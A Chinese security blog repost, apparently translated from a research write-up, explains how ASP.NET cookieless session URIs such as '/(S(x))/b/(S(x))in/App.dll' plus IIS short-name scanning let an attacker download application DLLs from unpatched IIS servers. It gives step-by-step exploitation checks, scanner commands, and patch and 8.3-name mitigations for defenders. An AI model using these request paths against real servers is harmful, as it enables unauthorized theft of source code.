惊天大揭秘!任意ASP.NET应用程序源代码曝光,安全界震撼!

admin 2024年3月18日14:25:16评论29 views字数 3716阅读12分23秒阅读模式

forever young

不论昨天如何,都希望新的一天里,我们大家都能成为更好的人,也希望我们都是走向幸福的那些人

01

背景

安全小白团

最近,我偶然发现了一个有趣的 ASP.NET 应用程序。它看起来很安全,但意外地泄露了源代码。后来,我发现这种方法适用于许多其他 .NET Web 应用程序。

以下是详细信息。如果您只是看到一个 IIS 或 .NET 应用程序,那么这篇文章适合您。
分析应用程序
在进行渗透测试时,我发现了一个 Web 应用程序。它由不同端口上的两个页面组成:

惊天大揭秘!任意ASP.NET应用程序源代码曝光,安全界震撼!

这是一张带有相关 HTTP 标头的 Burp 截图:

惊天大揭秘!任意ASP.NET应用程序源代码曝光,安全界震撼!

看起来我的应用程序是用 C# 在 ASP.NET 平台上编写的,正在 IIS 下运行,并受到基于 nginx 的 WAF 的保护。
知道这一点足以绕过 403 错误:

惊天大揭秘!任意ASP.NET应用程序源代码曝光,安全界震撼!

通过绕过 WAF(通过无 cookie 会话)的“/login.aspx”页面的内容
绕过后,我什么都没得到,甚至没有任何样式表存在。我尝试暴力破解每个可能的用户名和密码,每个可能的路径和参数。所有的努力都没有成功。
又一个无聊的 Web 应用程序?今天不是!
ASP.NET 无 Cookie 会话

当您在 IIS 中启用 ASP.NET 功能时,服务器的任何页面都开始接受无 Cookie 会话。

ASP.NET 无 Cookie 会话,与 PHP 和 Java 的类似程序,一直被用于 WAF 绕过,正如我们所做的那样,会话固定,XSS 和各种其他攻击。
这里是这些“无 Cookie 会话”的不同格式:
.net版本
URI
V1.0,V1.1
/(XXXXXXXX)/
V2.0+ /(S(XXXXXXXX))/
V2.0+ /(A(XXXXXXXX)F(YYYYYYYY))/
V2.0+
来源:
https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/aa479315(v=msdn.10)
此外,Soroush Dalili 最近在这个领域发现了一些新东西:Cookieless DuoDrop:IIS Auth Bypass & App Pool Privesc in ASP.NET Framework(CVE-2023-36899 & CVE-2023-36560)。
https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/
换句话说,发现并报告了 .NET Framework 中的两个安全问题。这两个问题与在 URI 中两次出现无 Cookie 会话有关,可能导致限制绕过和特权升级。
以下是 Soroush Dalili 文章中的 POC:
CVE
PoC
CVE-2023-36899 /WebForm/(S(X))/prot/(S(X))ected/target1.aspx
/WebForm/(S(X))/b/(S(X))in/target2.aspx
CVE-2023-36560 /WebForm/pro/(S(X))tected/target1.aspx/(S(X))/
/WebForm/b/(S(X))in/target2.aspx/(S(X))/
请记住这些 POC。那时,我想不到任何方法将这些 POC 应用于我的应用程序。

02

源代码泄露

安全小白团

我每两三天就会玩我的网站,一切都是无济于事。只有两个页面,没有用户名,也没有密码。

然而,有一天,下面这一幕发生了:

惊天大揭秘!任意ASP.NET应用程序源代码曝光,安全界震撼!

在短短一秒钟内,DLL 就出现在了我的电脑上!它没有损坏,里面发现了一个远程代码执行漏洞!

调查

在获得 RCE 后,我能够访问目标的 web.config 文件。然后,我将其减少到最小可能的配置:

<?xml version="1.0" encoding="utf-8"?><configuration>  <system.webServer>    <modules runAllManagedModulesForAllRequests="true" />  </system.webServer></configuration>

就是这样。runAllManagedModulesForAllRequests 设置是我们成功的原因。

扩展 POC

很快我这种技术也适用于其他服务器。

runAllManagedModulesForAllRequests 设置并不罕见,我当天就能够从不同网站下载到几个 DLL。

我唯一注意到的是无法检查“/bin”目录的存在性:

http://Y.Y.Y.Y/ - 200http://Y.Y.Y.Y/bin - 404http://Y.Y.Y.Y/bin/ - 404http://Y.Y.Y.Y/bin/Navigator.dll - 404http://Y.Y.Y.Y/(S(x))/b/(S(x))in - 404http://Y.Y.Y.Y/(S(x))/b/(S(x))in/ - 404http://Y.Y.Y.Y/(S(x))/b/(S(x))in/Navigator.dll - 200

然而,通过应用 IIS-ShortName-Scanner,您不仅可以检查“/bin”目录的存在性,还可以发现其内容:

惊天大揭秘!任意ASP.NET应用程序源代码曝光,安全界震撼!

执行 java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/bin::$INDEX_ALLOCATION/' 

IIS-ShortName-Scanner 和“::$INDEX_ALLOCATION”技巧均归功于 Soroush Dalili。

03

完整的利用过程

安全小白团

以下是如何检查服务器是否存在漏洞的简要指南。

1.检查是否允许无 Cookie 会话。

如果您的应用程序在主文件夹中

/(S(X))/ /(Y(Z))/ /(G(AAA-BBB)D(CCC=DDD)E(0-1))/

如果您的应用程序在子文件夹中

/MyApp/(S(X))/ ...

2.(可选)使用 IIS-ShortName-Scanner。请注意,其功能与是否启用无 Cookie 会话无关。

java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/bin::$INDEX_ALLOCATION/' java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/MyApp/bin::$INDEX_ALLOCATION/'

除了“/bin”之外,我建议您检查其他特殊的.NET文件夹:

/App_Code /App_WebReferences /App_GlobalResources /App_LocalResources /App_Data /App_Themes /App_Browsers /Themes /Views /Models /Controllers

3.探索 404 页面。

对于 /(S(x))/b/(S(x))in/App.dll,它应该输出像 /bin/App.dll 的内容或无。如果是 .../b/(S(x))in/...404,这意味着已安装了补丁。

4.尝试读取 DLL。需要从缩短的 8.3 格式文件名中重建完整的文件名。

http://Y.Y.Y.Y/(S(x))/b/(S(x))in/MyApplicationFile.dllhttp://Y.Y.Y.Y/MyApp/(S(x))/b/(S(x))in/MyApplicationFile.dll

PDB 文件(如果存在)将无法访问。

04

总结与缓解措施

安全小白团

对于安全团队

将 Microsoft IIS 和 .NET Framework 更新到最新版本。对于 Windows Server 2019 和 .NET Framework 4.7,KB5034619 目前修复了源代码泄露问题。

为了减轻短文件名枚举的影响,请运行“fsutil behavior set disable8dot3 1”以禁用 8.3 名称创建。然后,重新启动系统,并运行“fsutil 8dot3name strip /s /v [PATH-TO-WEB-DIRETORY]”来删除所有现有的 8.3 文件名。

对于渗透测试人员和漏洞猎手

我建议检查明显的事物和技巧,包括不应该起作用的技巧。

举个例子,在另一个项目中,我的朋友能够直接从“/bin”目录下载 DLL 文件,尽管我从未见过这种技术成功过。

参考及来源:

https://swarm.ptsecurity.com/source-code-disclosure-in-asp-net-apps/

05

免责&版权声明

安全小白团

安全小白团是帮助用户了解信息安全技术、安全漏洞相关信息的微信公众号。安全小白团提供的程序(方法)可能带有攻击性,仅供安全研究与教学之用,用户将其信息做其他用途,由用户承担全部法律及连带责任,安全小白团不承担任何法律及连带责任。欢迎大家转载,转载请注明出处。如有侵权烦请告知,我们会立即删除并致歉。谢谢!
惊天大揭秘!任意ASP.NET应用程序源代码曝光,安全界震撼!

往期推荐

惊天大揭秘!任意ASP.NET应用程序源代码曝光,安全界震撼!

惊天大揭秘!任意ASP.NET应用程序源代码曝光,安全界震撼!

转发

惊天大揭秘!任意ASP.NET应用程序源代码曝光,安全界震撼!

收藏

惊天大揭秘!任意ASP.NET应用程序源代码曝光,安全界震撼!

点赞

惊天大揭秘!任意ASP.NET应用程序源代码曝光,安全界震撼!

在看

原文始发于微信公众号(安全小白团):惊天大揭秘!任意ASP.NET应用程序源代码曝光,安全界震撼!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月18日14:25:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   惊天大揭秘!任意ASP.NET应用程序源代码曝光,安全界震撼!https://cn-sec.com/archives/2583713.html

发表评论

匿名网友 填写信息